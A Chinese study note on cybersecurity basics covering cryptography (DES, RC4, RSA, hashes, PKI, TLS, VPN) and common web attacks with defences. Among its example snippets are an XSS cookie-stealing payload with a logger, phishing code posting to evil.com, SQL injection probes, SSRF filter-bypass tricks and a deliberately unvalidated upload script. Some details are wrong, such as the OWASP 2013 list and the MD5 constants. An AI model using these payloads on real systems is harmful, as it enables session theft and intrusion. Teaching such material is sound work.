网络空间安全基础(待续)

网络空间安全概述

基本概念

1)计算机安全:通常采取适当行动保护数据和资源,使它们免受偶然或恶意动作的伤害;

2)数据的完整性:数据所具有的特性,即无论数据形式做何变化,数据的准确性和一致性均保持不变;

3)保密性、机密性:数据所具有的特性,即表示数据所达到的未提供或未泄露给未授权的个人、过程或其他实体的程度;

4)可用性:数据或资源的特性,被授权实体按要求能访问和使用数据或资源;

5)风险评估:一种系统的方法,用于标识出数据处理系统的资产,对这些资产的威胁以及该系统对这些威胁的脆弱性;

6)威胁:一种潜在的计算机安全违规;

7)脆弱性:数据处理系统中的弱点或纰漏;

8)风险:特定的威胁利用数据处理系统中特定的脆弱性的可能性;

9)主体:能访问客体的主动实体;

10)客体:一种实体,对该实体的访问是受控的;

11)敏感信息:由权威机构确定的必须受保护的信息,因为该信息的泄露、修改、破坏或丢失都会对人或事产生可预知的损害;

12)密码学:一门学科,包含数据变换的原则、手段及方法,以便隐藏数据的语义内容,防止未经授权的使用或未经检测的修改;

13)加密:数据的密码变换,加密的结果是密文,相反的过程称为解密;

14)单向加密:一种加密技术,它只产生密文,而不能将密文再生为原始数据;

15)明文:不利用密码技术即可得出语义内容的数据;

16)密文:利用加密产生的数据,若不使用密码技术,则得不到其语义内容;

17)私有密钥:一种密钥,为拥有者专用于解密操作的位串,简称私钥;

18)公开密钥:一种密钥,任意实体都可用它与相对应的私钥拥有者进行加密通信,简称公钥;

19)访问控制:一种保证手段,即数据处理系统的资源只能由被授权实体按授权方式进行访问;

20)最小特权:将主体的访问权限制到最低限度,即仅执行授权任务所必需的那些权利;

21)隐蔽通道:可用来按照违反安全策略的方式传送数据的传输信道;

22)病毒:一种在用户不知情或未批准下,能自我复制或运行的程序,病毒往往会影响到受感染设备的正常运作,或是让设备被控制而不自知,进而盗窃数据或者利用设备作其他用途;

23)蠕虫:一种独立程序,它可通过数据处理系统或计算机网络传播自身;

24)特洛伊木马:一种后门程序,用来盗取目标用户的个人信息,甚至是远程控制对方的计算机进行加壳制作,然后通过各种手段传播或骗取目标用户执行该程序,以达到盗取密码等数据资料的目的;

安全体系

1)信息安全三要素:机密性、完整性、可用性;

2)PDR模型:

  防护(Protection,P):采用一系列手段(识别、认证、授权、访问控制、数据加密等)保障数据的保密性、完整性、可用性、可控性以及不可否认性等;

  检测(Detection,D):利用各类工具检查系统可能存在的可导致黑客攻击、病毒泛滥的脆弱性,即入侵检测、病毒检测等;

  响应(Response,R):对危及安全的事件、行为、过程及时做出响应处理,杜绝危害的进一步蔓延扩大,力求将安全事件的影响降到最低;

注:实现安全,需要让防护时间>检测时间+响应时间;

3)P2DR模型:

  策略(Policy,P):是模型的核心,意味着网络安全要达到的目标,决定各种措施的强度;

  防护(Protection,P):安全的第一步,包括制定安全规章(以安全策略为基础执行安全细则)、配置系统安全(配置操作系统、安装补丁等)、采用安全措施(安装和使用防火墙、VPN等);

  检测(Detection,D):检测是对上述二者的补充,通过检测发现系统或网络的异常情况,发现可能的攻击行为;

  响应(Response,R):发现异常或攻击行为后系统自动采取的行动,目前的入侵响应措施比较单一,主要是关闭端口,中断连接,中断服务等;

4)P2DR2模型:策略、防护、检测、响应、恢复(Restore);

5)P2OTPDR2模型:策略、防护、操作(Operation)、技术(Technology)、人(People)、检测、响应、恢复;

6)MAP2DR2模型:管理(Management)、审计(Audit)、策略、防护、检测、响应、恢复;

7)纵深防御战略(Defense in Depth):人、技术、操作

密码学及应用

密码学概述

一个典型的密码系统由明文、密文、密钥、密码算法组成

 1)密码算法从功能上可以分为加/解密算法、签名算法、摘要算法(散列算法)、鉴别算法等;从密码结构上可以分为不使用密钥的算法(散列算法)和使用密钥的算法(对称密钥算法和非对称密钥算法);

2)用五元组(M,C,K,E,D)来表示密码系统,M为明文空间、C为密文空间、K为密钥空间、E表示加密算法、D表示解密算法;

对称密码体制
对称分组密码

1)对称分组密码的加解密过程

 2)典型对称分组密码算法

  DES:该算法提取64位密钥中的56位作为有效密钥,对64位明文分组进行加密;

  2DES、3DES:分别称为二重DES,三重DES,将DES算法进行扩展,加(解)密算法不变,只是采用了不同的密钥完成多次加解密;

  IDEA:属于一种专利算法,使用128位的密钥,对64位的明文分组进行加密;

  AES:高级加密标准,分组长度可为128位,192位,256位,密钥长度可为128位,192位,256位;

3)对称分组密码的模式

 对称分组密码只能加密固定长度的分组,但是实际中需要加密的明文长度可能会超过分组长度,所以需要对对称分组密码算法进行迭代,将很长的一段明文全部加密,迭代的方式称为模式;

 5种对称分组密码模式:

    ECB:电子密码本(Electronic Codebook,ECB)模式,最简单的加密模式,该模式下明文消息被分成固定大小的块(分组),每个块被单独加密且使用相同的加密算法,可以进行并行计算,缺点是安全性较差,加密前明文数据量需要填充到块大小的整数倍;

    CBC:密码块链(Cipher Block Chaining,CBC)模式,常用的加密模式,该模式下明文加密后的数据进行异或(XOR)运算,然后再进行加密,这样每个密文块依赖该块之前的所有明文块,每条消息都具有唯一性,缺点是加密是连续的,不能并行处理,明文数据量必须填充到块大小的整数倍;

    CFB:密码反馈(Cipher Feedback,CFB)模式,该模式下将前一个分组的密文加密后和当前分组的明文进行异或运算生成当前分组的密文;

    OFB:输出反馈(Output Feedback,OFB)模式,该模式将分组密码转换成同步流密码,可以根据明文长度先独立生成相应长度的流密码;

    CTR:计数器(Counter,CTR)模式,该模式下将分组密码转换成流密码,通过加密"计数器"的连续值来产生下一个密钥流块;

DES算法

1)DES算法是一种对称分组加密算法,明文分组长度为64位,密钥长度也为64位,由于密钥的第8,16,24,32,40,48,56,64位为奇偶校验位,所以密钥的实际长度为56位,更长的明文被分为64位的分组来处理;

2)DES算法的加密过程:

  IP变换:明文A(64位)通过IP变换表对当前的64位明文分组进行变换操作;

  迭代:将经过IP变换后的数据,分为两个32位的数据,分别是L0和R0,R0作为下一迭代的L1,同时K1和R0通过f函数进行处理,最后与L0进行异或运算,输出结果作为R1,按照以上逻辑迭代16次。

  IP-1变换(IP逆变换)和密文输出:将完成16次迭代后的64位数据按照IP-1进行变换,变换结果即为输出的密文;

3)IP变换:将长度为64位的明文数据,按照IP变换表的数值进行排序;

4)密钥:用于在16次迭代过程中参与数据处理,每一轮迭代输入的密钥均不相同,即通过算法的变换处理,将输入的64位密钥变换成16个不相同的子密钥;

流密码体制

分组密码是将明文数据按照规定长度进行分组处理,而流密码是在密钥和算法的作用下,对明文的每一位或每一字节进行处理;流密码技术也称为序列密码技术,属于“一次一密”的密码体制;

RC4算法

1)RC4属于典型的流密码算法,也是一种对称加密算法,该算法不是对明文进行分组处理,而是以字节流的方式依次加密明文中的每一个字节,解密的时候也是依次对密文中的每一个字节进行解密;

2)RC4算法简单,运行速度快,密钥长度可变;

3)RC4算法的关键变量:密钥流,状态向量S,临时向量T,密钥K;

4)RC4算法流程:

//1.初始化S和T
for i=0 to 255 do
S[i]=i;
T[i]=K[i mod keylen];
//2.初始排列S
for i=0 to 255 do
j=(j+S[i]+T[i]) mod 256;
swap(S[i],S[j]);
//3.产生密钥流
for r=0 to len do   //r为明文长度,r字节
i=(i+1) mod 256;
j=(j+S[i]) mod 256;
swap(S[i],S[j]);
t=(S[i]+S[j]) mod 256;
k[r]=S[t];

由于RC4算法加密采用的是异或运算,因此一旦子密码序列出现了重复,密文就有可能被破解;

公钥密码体制

1)非对称密码体制(公钥密码体制,双钥密码体制):加密密钥与解密密钥不相同的密码体制,公开的密钥称为公钥,保密的密钥称为私钥;

2)公钥密码体制可用于进行数字签名和密钥交换保护,通信双方可以通过公开的途径得到对方的公钥,然后利用公钥将后续用到的对称加密的密钥加密后发送给对方,对方即可利用自己的私钥解密后得到对称加密的密钥,然后利用此密钥进行对称加密,从而实现保密通信;

3)公钥密码体制的优点:通信时只保密私钥,不需要时常更换公钥/私钥对,大型网络中密钥分配和管理简单;

4)公钥密码体制的缺点:算法复杂,运算速度慢;

公钥密码体制原理

公钥加密,私钥解密;

1)加/解密流程

(1.消息接收端系统,产生一对用于加密和解密的密钥,如图中的接收者B;

(2.B将公钥予以公开,私钥则被保密;

(3.发送者A向接收者B发送消息m时,使用接收者B的公钥加密m;

(4.接收者B收到密文c后,用自己的私钥解密;

2)消息来源和消息完整性认证流程

  发送者A产生私钥和公钥,用私钥加密;接收者B用A产生的公钥解密;

3)双重加/解密模型

  发送者A用自己的私钥加密,用于提供数字签名,再用接收者B的公钥二次加密;解密时,接收者A先用私钥,再用发送者B的公钥对密文进行两次解密;

 RSA算法

 是迄今为止理论上最为成熟完善的公钥加密算法之一,既可用于加密,又可用于数字签名、身份认证和密钥管理;

1)基本思想:两个大素数p和q相乘得到的乘积n比较统一计算,但从乘积n分解出这两个大素数p和q很困难;

2)实现步骤:

  //1.计算密钥对:公钥(e,n),私钥(d,n)

  选取两个位数相近的大素数p和q;

  计算n=pxq;

  计算欧拉函数(n)=(p-1)x(q-1);

  随机选取一个正整数e,满足e与欧拉函数(n)互质,即e与欧拉函数(n)的最大公约数是1

  计算正整数d,满足dxe=1 mod 欧拉函数(n); 密钥对:公钥(e,n),私钥(d,n),用户销毁p和q;

  //2.加密解密

  加密过程:输入明文M,公钥(e,n);输出密文 C=M^e mod n;

  解密过程:输入密文C,私钥(d,n);输出明文 M=C^d mod n;

3)RSA算法的优点:密钥管理简单、便于数字签名、可靠性较高;

4)RSA算法的缺点:算法复杂,加解密速度慢,难于用硬件实现;

散列算法

散列函数根据目标明文生成具有相同长度的、不可逆的散列值(消息摘要),散列函数不可逆,通常用于检测文件或报文是否被修改;

MD5算法

MD5算法对输入任意长度的消息进行运算,产生一个128位的消息摘要,也称为指纹;

1)MD5算法实现过程:

  分组填充:将输入数据划分为512位的分组,且每一分组又被划分为16个32位的子分组。如果输入信息的长度对512取余后的结果不等于448,就需要填充使得对512求余的结果等于448。填充的方法是填充一个1和若干个0.

  记录信息长度:用64位来存储填充前信息长度,这64位附加在第一步处理结果的后面,此时信息长度为Nx512+448+64=(N+1)x512;

  装入标准幻数(4个整数):标准幻数的物理顺序是A=0x01234567,B=0x89ABCDEF,C=0xFEDCBA98,D=0x76543210;

  然后,将每组的4个32位子分组进行一系列的移位、与、或等运算后,将算法输出的4个32位子分组合并后生成一个128位散列值,作为MD5算法的最终输出;

SHA系列算法

SHA家族的5个算法分别是SHA-1,SHA-224,SHA-256,SHA-384,SHA-512,后4个并称为SHA-2算法,最受欢迎的是SHA-2算法;

1)SHA算法抗击穷举法攻击和密码分析攻击的强度高于MD5算法;

2)SHA算法的速度要比MD5算法的速度慢;

3)MD5算法使用小字节序(little-endian)方式,SHA算法使用大字节序(big-endian)方式;

数字签名

1)数字签名是公钥密码体制的一种应用,包含签名过程(使用私钥进行加密)和验证过程(接收者或验证者使用公钥进行解密);

2)签名的产生必须使用发送者独有的一些信息以防仿造和否认;签名的产生、识别、验证应较为容易;伪造已经签过名的信息,或对已知的消息构造一假冒的签名在计算上都是不可行的;

3)常见的数字签名算法有:RSA算法,数字签名算法(DSA),椭圆曲线数字签名算法(ECDSA),其中大多数SSL数字证书、代码签名证书、文档签名以及邮件签名都采用RSA算法;

密钥管理与分配

密钥管理技术包括密钥的产生、存储、装入、分配、保护、丢失、销毁等,主要任务是保证能在公用数据网上安全地传递密钥。

密钥的生命周期

1)密钥的产生和分配:好的密钥一般是由自动处理设别产生的随机位串,需要一个可靠的随机数生成器;

2)密钥的存储和备份

3)密钥的撤销与销毁

密钥分配技术

一种更换密码的机制尽量减少密钥被暴露的可能性;

1)对称密码体制的密钥分配:通过密钥分配中心(KDC)来管理和分配密钥;

2)公钥密码体制中的密钥分配:有以下形式(公开宣布;公布公钥目录;公钥管理机构分发;公钥证书分发);

PKI(公钥基础设置)

PKI能为所有网络应用透明地提供采用加密和数字签名等密码服务所必需的密钥和证书管理,实现和管理不同实体之间的信任关系;

PKI采用证书管理公钥,通过可信任机构CA,把用户的公钥和其他标识信息捆绑在一起,用来在网络上验证用户的身份,主要任务是在开放环境中为开放性业务提供数字签名服务

1)数字证书:由CA采用公钥加密技术将主题的公钥信息和身份新信息捆绑后进行数字签名的一种权威电子文档,用于证明某一主体的身份和公钥合法性(真实性和完整性);

2)PKI的组成:可信任机构(CA)、注册机构(RA)、证书库、证书申请者、证书信任方共五大部分组成;完成的PKI系统还必须具有密钥备份与恢复系统,证书作废系统、应用程序接口(API)等基本组成部分;

3)PKI体系标准规范:包括ASN.1基本编码规范、X.500目录服务、PKIX系列标准以及PKCS系列标准;

4)PKI提供的服务:机密性服务、完整性服务、身份认证服务、不可否认性服务;

密码学应用
SSL/TLS协议

1)网络上明文传输的风险:信息窃听风险(第三方可以获取通信内容)、信息篡改风险(第三方可以篡改通信内容)、身份冒充风险(第三方可以冒充他人身份参与通信);

2)传输层安全(TLS)协议和安全套接层(SSL)协议,目的是为互联网通信提供安全及数据完整性保障;

3)SSL/TLS协议主要用于使用超文本传输安全协议(HTTP)的通信中,为使用HTTP协议的通信提供保护,SSL协议主要用于解决HTTP明文传输的问题,TLS是SSL协议的升级版;

4)TLS协议使用以下3种机制为信息通信提供安全传输:隐秘性(所有通信都通过加密后进行传播)、身份认证(通过证书进行认证)、可靠性(通过校验数据完整性维护一个可靠的安全连接);

PGP

PGP是一个能为邮件和文件存储过程提供认证业务和保密业务的软件;

VPN 

1)虚拟专用网(Virtual Private Network,VPN )是一种采用了隧道技术、加密技术、密钥管理技术、身份认证技术等在公共网络上构建临时的、安全的逻辑网络的技术,VPN能实现数据的保密传输、身份验证、数据完整性保护;

2)按隧道协议分类:二层(数据链路层)隧道VPN,如PPTP VPN、L2TP VPN等,三层(网络层)隧道VPN,如IPSec VPN;

3)按应用类型分类:远程接入VPN(实现远程客户端到网关的安全连接);点对点VPN(实现网关到网关的安全连接);端到端VPN(实现终端到终端的VPN安全连接);

4)常用的VPN:SSLVPN(工作在传输层和应用层之间,为HTTP服务提供安全通信机制);IPSecVPN(使用加密的安全服务确保在Internet上进行安全通信);

5)IPSecVPN组成:互联网密钥交换(IKE)、认证报头(AH)、封装安全载荷(ESP)等;其中ESP提供数据机密性、完整性验证、数据源身份认证能力;

Web安全与渗透测试

web安全概述
 web应用体系架构

1)大型动态应用系统可分为web前端系统、分布式服务器管理系统、分布式存储系统、缓存系统、数据库集群系统和负载均衡系统等子系统;

2)web应用体系架构可简化为web客户端、传输通道、web服务器、web应用程序和数据库等组成部分;

  但是该体系结构存在以下脆弱性:

  1.web客户端的脆弱性

  2.web服务器的脆弱性

  3.web应用程序的脆弱性

  4.HTTP的脆弱性

  5.Cookie的脆弱性

  6.数据库安全的脆弱性

OWASP Top 10漏洞

1)开源web应用安全项目(OWASP) Top 10重点在于为广大企业组织确定一组最严重的风险;

2)2013年排名前10的漏洞有:注入攻击漏洞,失效的身份认证和会话管理,跨站脚本攻击漏洞,失效的访问控制,敏感信息泄露,应对攻击防护不足,跨站请求伪造漏洞,使用含有已知漏洞的组件,未受有效保护的API;

web安全漏洞案例

1)WebSphere远程代码执行漏洞(CVE-2019-4279):攻击者可发送精心构造的序列化对象到服务器,最终导致在服务器上执行任意代码;

2)WebLogic的Java反序列化过程远程命令执行漏洞(CVE-2018-2628):攻击者可以在未授权的情况下,通过T3协议在WebLogic Server中执行Java反序列化操作,最终造成远程代码执行漏洞;

3)Redis拒绝服务攻击漏洞(CVE-2017-15047):攻击者可利用该漏洞造成拒绝服务(越边界数组索引和应用程序崩溃);

4)Struts2框架漏洞:攻击者可以利用该漏洞进行远程执行代码、DoS攻击、路径遍历、跨站脚本攻击等危险操作;

5)Joomla!系列漏洞:SQL注入漏洞,可使攻击者访问或修改数据,将低权限用户提升为更高权限的用户;

6)DedeCMS系列漏洞:有任意代码执行安全漏洞,文件上传漏洞,文件删除漏洞,SQL漏洞等;

7)Apache Tomcat远程代码执行漏洞

8)JBoss的Java反序列化命令执行漏洞

web安全防护策略

1)IE浏览器防护策略:

  设定IE安全级别;

  过滤恶意网页;

  添加站点到信任区域;

2)OWASP Top 10漏洞防护策略:

  使用安全的API,完全避免使用解释器或提供参数化界面的API;

  一套单一强大的认证和会话管理控制系统;

  针对XSS攻击,为避免服务端XSS,应根据数据将要置于的HTML的上下文对所有的不可信数据进行恰当的转义;

  预防失效的访问控制,采用检查访问的方法;

  针对安全配置错误,采用能在组件之间提供有效的分离和安全性的强大应用程序架构;

  针对敏感信息泄露,加密数据的存储,并使用合适的标准算法和强大的密钥;

  针对攻击防护不足的缺陷,检测攻击、响应攻击、快速增打补丁;

  针对CSRF攻击,使用成熟框架的CSRF防护方案;

  针对有漏洞的组件风险,利用工具记录客户端和服务器以及它们的依赖库的版本信息;

  为保护API的安全,确保客户端和API之间通过安全通道进行通信,确保有强安全级别的认证模式,做好安全加固、权限控制;

常见Web攻击方式与防御
注入攻击

通常指SQL注入攻击

1)SQL含义:结构化查询语言(Structed Query Language,SQL),用于存取数据以及查询、更新、管理关系数据库系统;

2)SQL注入攻击原理:编写web应用程序时,没有对用户提交数据的合法性进行判断;

  web登录过程:1.客户机向web服务器提交账号和密码;2.web服务器以账号和密码为条件在后台数据库查找;3.web服务器向客户机发送验证结果;

  其中在第2步中,通常用SQL语句进行查询,若不检查输入数据的有效性,攻击者可用精心构造的数据库查询代码攻击网站,这就是SQL注入攻击原理;

3)SQL注入攻击本质:攻击者在用户可控参数中注入恶意SQL语句,破坏原有SQL语句,而服务器对用户输入的数据没有过滤或者过滤不严格,把攻击者提交的恶意SQL语句当作语句的一部分代入数据库中进行执行,导致执行了额外的SQL语句,从而达到攻击数据库的目的;

4)SQL攻击成因:由两个条件叠加造成:

  1.用户能够控制输入,并使用字符串拼接的方式构造SQL语句;

  2.服务器未对用户可控参数进行足够的过滤便将参数内容拼接到SQL语句中;

//SQL攻击示例
$id=$_GET['id'];
$sql="select * from users where id=$id limit 0,1";
$result=mysql_query($sql);
//$id在后面没有经过任何过滤直接拼接到SQL语句中,然后在数据库中执行SQL语句
//如果用户输入index.php?id=1 and 1=1,则拼接后的SQL语句会返回正常的结果,即
$sql="select * from users where id=1 and 1=1 limit 0,1";
//如果用户输入index.php?id=1 and 1=2,则拼接后的SQL语句会返回不正常的结果,即
$sql="select * from users where id=1 and 1=2 limit 0,1";

5)SQL注入攻击分类:

  1.根据数据库执行结果,分为联合查询类,报错注入类,布尔盲注类,延时注入类;

  2.根据注入点的数据类型,分为数字型注入和字符型注入;

  3.根据数据提交的方式,分为Get注入、Post注入、Cookie注入、HTTP头部注入等;

  4.其他注入类型有堆叠查询类、宽字节注入类、base64注入类、读写文件类、搜索型注入等;

6)SQL注入攻击手工注入过程:判断是否存在注入点;判断数据库字段数量;判断数据库交互字段位置;判断数据库信息;查找当前数据库名;查找数据库的所有表名;查找数据库的表中的所有字段名以及字段值;破解账号密码;登录管理员后台;

7)自动化SQL注入工具:常用的有Sqlmap、Havij、Safe3 SQL Injector、NBSI、BSQL Hacker、Pangolin等;

8)SQL注入攻击的危害:绕过登录验证(使用万能密码登录网站后台等);获取敏感数据(获取网站管理员账号、密码等);文件操作(读取、写入文件等);注册表操作(读取、写入、删除注册表等);执行系统命令(远程执行命令);

XSS攻击

1)XSS攻击简介(跨站脚本攻击):XSS全称Cross-Site Scripting,本应缩写为CSS,但与层叠样式表(CSS)重名,所以缩写为XSS;

  XSS攻击是攻击者利用网站漏洞将恶意代码(HTML或JS代码)注入网页,当用户访问该网页时,就会执行其中的恶意代码;

  XSS攻击的攻击对象是浏览器,属于被动攻击,需要用户主动触发

  XSS攻击可以进行网络钓鱼(盗取各类用户账号,cookie资料等)、劫持用户会话(执行任意操作,强制弹出广告页面)、DDOS攻击(提升用户权限,进一步渗透网站,传播跨站脚本蠕虫);

2)XSS攻击的分类

  1.反射型XSS攻击:攻击的JS代码在web应用的参数中,如搜索框等,主要用于将恶意代码附加到URL中,诱使用户点击该恶意URL,执行 JS代码;

//反射型XSS攻击示例
<?php
if(array_key_exists("name",$_GET) && $_GET['name'] != NULL){
    echo '<pre>Hello'.$_GET['name'].'</pre>';
}
?>

  2.持久型XSS攻击:JS代码不是在web应用的某个参数中,而是写进数据库或文件等可以永久保存数据的介质中,如留言板博客日志、评论区等;

    此类XSS攻击不需要用户单击特定URL就能执行跨站脚本,攻击者事先将恶意的JS代码上传或存储到含有漏洞的服务器中,只要有用户访问这个包含有持久型XSS攻击的页面,恶意的JS代码就会在用户的浏览器中执行,执行后的JS代码会储存在数据库中;

//持久型XSS攻击示例
<?php
if(isset($_POST('btnSign))){
    //Get input
    $message = trim($_POST['mtxMessage']);
    $name = trim($_POST['txtName']);

    //Sanitize message input
    $message = stripslashes($message);
    $message = ((isset($GLOBALS["__mysqli_ston"])) && is_object($GLOBALS["__mysqli_ston"]))  ? mysqli_real_escape_string($GLOBALS["__mysqli_ston"],$message) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "" )) ;
 
    //Sanitize name input
    $name = ((isset($GLOBALS["__mysqli_ston"])) && is_object($GLOBALS["__mysqli_ston"]))  ? mysqli_real_escape_string($GLOBALS["__mysqli_ston"],$name) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "" )) ;

    //update database
    $query = "INSERT INTO guestbook(comment,name) VALUES ('$message','$name');";
    $result = mysqli_query($GLOBALS["__mysqli_ston"], $query) or die('<pre>'.((is_object($GLOBALS["__mysqli_ston"]))  ? mysqli_error($GLOBALS["__mysqli_ston"]) : (($__mysqli_res=mysqli_error()) ? $__mysqli_res:false)) . '</pre>');
    //mysql_close();
}
?>

  3.基于DOM的XSS攻击:基于DOM文档对象模型漏洞的一种攻击方式,不依赖于服务器的数据,而从客户端获得DOM中的数据并在本地执行;

  文档对象模型(DOM)使得程序和代码可以动态访问和更新文档的内容、结构、样式;

//基于DOM的XSS攻击示例
<?php
    $name=$_GET["name"];
?>
<input id="text" type="text" value="<?php echo $name;?>" />
<div id="print"></div>
<script type="text/javascript?">
    var  text = document.getElementById("text");
    var print = document.getElementById("print");
    print.innerHTML = text.value; //获取text的值,并且输出在print内,这是导致XSS攻击的主要原因
</script>

//然后构造攻击载荷即可  127.0.0.0/php/1.php?name="><script>alert(/xss/)</script>

3)XSS攻击方式

  1.利用XSS攻击进行Cookie窃取:Cookie是由服务器提供的存储在客户端的数据,将信息持久化保存在客户端,用于识别用户身份、保存会话状态;

//利用XSS攻击进行Cookie窃取
<script>document.location="http://www.testphp.com/cookie.php?cookie="+document.cookie
</script>
<img src="htttp://www.testphp.com/cookie.php?cookie="+document.cookie>
<?php $cookie=$_GET('cookie');
$log=fopen("cookie.txt","a");
fwrite($log,$cookie ."\n");
fclose($log);
%>

  2.XSS钓鱼:通过发送大量声称来自银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出敏感信息的一种攻击方式;

//钓鱼步骤
//1.攻击者构造钓鱼页面phishing.php
<form method="post" action=http://www.evil.com/get.php>;
//2.在远程服务器上存放一个用来接收和记录账号、密码的程序文件get.php
//3.攻击者在XSS页面插入钓鱼代码http://www.bug.com/index.php?s=<script src=http://www.evil.com/xss.js></script>

4)防御XSS攻击:编码过滤两种方式,编码用于将特殊符号<、>、&、'、""进行转义;过滤是阻止特定的标记、属性、事件;

  输入过滤:检查、过滤、转义用户的任何输入,查看是否包含<、>等特殊字符或alert关键字;

  输出编码:在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击;

  设置HttpOnly属性来防止劫取cookie,cookie中通常包含了用户的登录凭证信息,攻击者获取cookie后可以发起cookie劫持攻击;

CSRF攻击

1)CSRF简介:跨站请求伪造攻击(Cross-Site request forgery,CSRF), 跨站点的请求+请求是伪造的;

  CSRF攻击即被攻击者的浏览器被迫向目标站点发起了伪造的请求,这个过程会带上被攻击者的身份验证标识(Session)以通过目标站点的验证;

  CSRF的核心是身份认证,攻击的重点是伪造更改状态的请求,而不是盗取数据等操作,因为攻击者无法查看对伪造请求的响应;

2)CSRF攻击原理:攻击者利用已经登录受信任网站的用户,诱使其访问或者登录某个早已构造好的恶意链接或页面,然后在用户毫不知情的情况下,以用户的名义完成非用户本意的操作;

//1.受害者登录受信任网站A,在本地生成Cookie
//2.受害者在不退出网站A的情况下,访问危险网站B
//CSRF攻击示例
<img src="http://目标网站/action=delete&id=7">
<form action="http://目标网站/post.php">
<input type="text" style="..." name="title" value="csrf" /><input ...
</form>
<iframe src="...">
...<param name="movie" value="post_as3.swf" /><embed src="post_as3.swf"...

  CSRF攻击成功的原因是浏览器、目标站点没有对正常的请求与伪造的请求进行区分;

3)防御CSRF攻击:

  使用POST请求代替GET请求:POST请求相对GET请求来讲安全性更强一些,但是不能保证绝对的安全;

  检验HTTP Referrer:HTTP请求头有一个字段Referer,记录了该HTTP请求的来源地址,由客户端浏览器发送,可能在提交过程中被Burp suite修改,所以需要检验安全性;

  使用验证码:用户提交请求时需要在表单中填写一个图片上的随机字符串等验证码;

  使用请求令牌:在HTTP请求中以参数的形式加入一个随机产生的请求令牌,比如cookie令牌、一次性令牌等,在服务器中建立一个拦截器验证该令牌,如果请求无令牌或令牌不正确,则认为是CSRF攻击而拒绝该请求;

SSRF攻击

1)SSRF攻击简介:服务器请求伪造(Server Side request forgery,SSRF)攻击是一种由攻击者构造形成由服务器发起请求的一种安全漏洞;

  SSRF攻击目标一般是从外网无法访问的内部系统,正因为它是由服务器发起,所以能够请求到与外网隔离的内部系统;

  SSRF形成原因大多是由于服务器提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制;

//SSRF攻击示例
<?php
    function curl($url){
        $ch = curl_init();
        curl_setopt($ch,CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_HEADER,0);
        curl_exec($ch);
        curl_close($ch);
    }
$url  = $_GET['url'];
curl($_url);
?>

2)SSRF攻击常见危害

  可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的Banner信息等;

  攻击运行在内网或本地的应用程序;

  对内网web应用进行指纹识别,通过访问默认文件(如Readme.txt等)实现攻击;

  攻击内外网的web应用,主要是使用GET请求就可以实现的攻击;

  利用File协议读取本地文件等;

3)SSRF漏洞引发场景:SSRF是由于服务器对URL及IP地址过滤不严造成的,因此对外发起的网络请求都有可能存在SSRF漏洞;常见场景有:应用分享、在线翻译、图片加载与下载;

4)SSRF攻击常见绕过技巧:

  利用@绕过:许多URL中都有;、/、?、:、@、=、&等保留字符,例如http://www.abc.com/abc?url=http://login.abc.com@test.com的使用,test.com就是要跳转到的域名,前面内容用以辅助绕过限制;

  利用短网址绕过:将要跳转的内网地址通过短网址服务进行缩短,绕过IP地址检查,如http://dwz.cn//11SMa就是http://127.0.0.1的短网址;

  利用特殊域名绕过:例如xip.io网站可把任何带有xip.io的网址解析成任意网址,利用127.0.0.1.xip.io进行访问,实际访问的仍然是127.0.0.1;

  利用封闭式字母数字:

  利用进制转换绕过:将IP地址转换成十进制数字,也可绕过IP地址检查,如将http://127.0.0.1转换成http://2130706433/;

5)防御SSRF攻击:

  限制请求的端口为HTTP常用的端口,如80,443,8080等;

  禁用不需要的协议,仅仅允许HTTP和HTTPS;

  过滤返回信息,验证远程服务器对请求的响应;

  统一错误信息,避免用户可以根据错误信息来判断远程服务器端口状态;

  将某些内网IP地址加入黑名单,避免其被用来获取内网数据;

文件上传攻击

1)文件上传漏洞简介:上传文件时,如果未对上传的文件进行严格的验证和过滤,就容易造成文件上传漏洞;

  恶意上传行为可能导致网站甚至整个服务器被控制,恶意的脚本文件又被称为webshell,是网页后门,也是命令解释器,能查看服务器目录、服务器中文件、执行系统命令等;

//文件上传攻击代码示例
<?php
if(isset($_POST['submit'])){  //判断是否点击按钮提交form表单数据
    $tmp_path = $_FILES['file']['tmp_name'];  //临时存放路径
    $path= "./upload/".$_FILES['file']['name'];  //存放路径
    if(move_uploaded_file($tmp_path,$path)) {
        echo "上传成功";
        echo "上传路径为:" .$path;
    }else{
        echo "上传失败";
    }
}
?>

2)文件上传攻击的危害:上传的任意文件就是危害(包括恶意脚本,.exe程序等);如果web服务器所保存的上传文件的可写目录具有执行权限,那么可以直接上传后门文件,导致网站沦陷;如果攻击者通过其他漏洞进行提权操作,拿到系统管理员权限,那么可能直接导致服务器沦陷,那么服务器下其他网站都会被攻击者控制;

3)文件上传攻击发生的原因:

  web服务器开启了文件上传功能,并且上传API对外开放(web用户可以访问);

  web用户对目标目录具有可写权限,甚至具有执行权限;

  上传的文件可以执行,也就是web服务器可以解析上传的脚本文件,无论脚本文件以什么形式存在;

  服务器配置不当,开启了PUT方法;

4)常见的文件上传攻击:

  1.前端检测绕过:网页前端调用JavaScript函数,对上传的文件扩展名进行检测,这种简单的防御非常容易绕过,如先通过前端检测,再使用burp suite类抓包工具对上传文件扩展名进行修改即可成功上传webshell;

  2.文件扩展名检测绕过:网页后端编写检测规则,检测上传文件的扩展名,如果采用黑名单的防御方式,便可以绕过,例如后端代码中列举出不允许上传的扩展名,利用黑名单中没有列举的扩展名进行上传,既能通过检测,又可以被服务器解析,或利用中间件文件解析漏洞进行上传绕过;

  3.MIME类型检测绕过:如果网页后端防御方式是通过检测MIME类型进行防御,该类型通过HTTP请求包中的Content-Type字段来表示文件的MIME类型,上传webshell文件时,通过抓包工具抓取数据请求包,将Content-Type字段修改为允许上传的类型,便可成功上传;

  4.能直接上传ASP文件的漏洞:如果网站有上传页面,就要警惕直接上传ASP文件的漏洞,例如某网站有的upfile.asp存在上传页面,该页面对上传文件扩展名过滤不严,导致攻击者能直接上传ASP文件;

  5.00上传的漏洞:攻击者利用“抓包嗅探""Ultraedit"和“网络军刀”等工具伪造IP数据包,突破服务器对上传文件名、路径的判断,巧妙上传.asp、.asa、.cgi、.cdx、.cer、.aspx类型的木马;

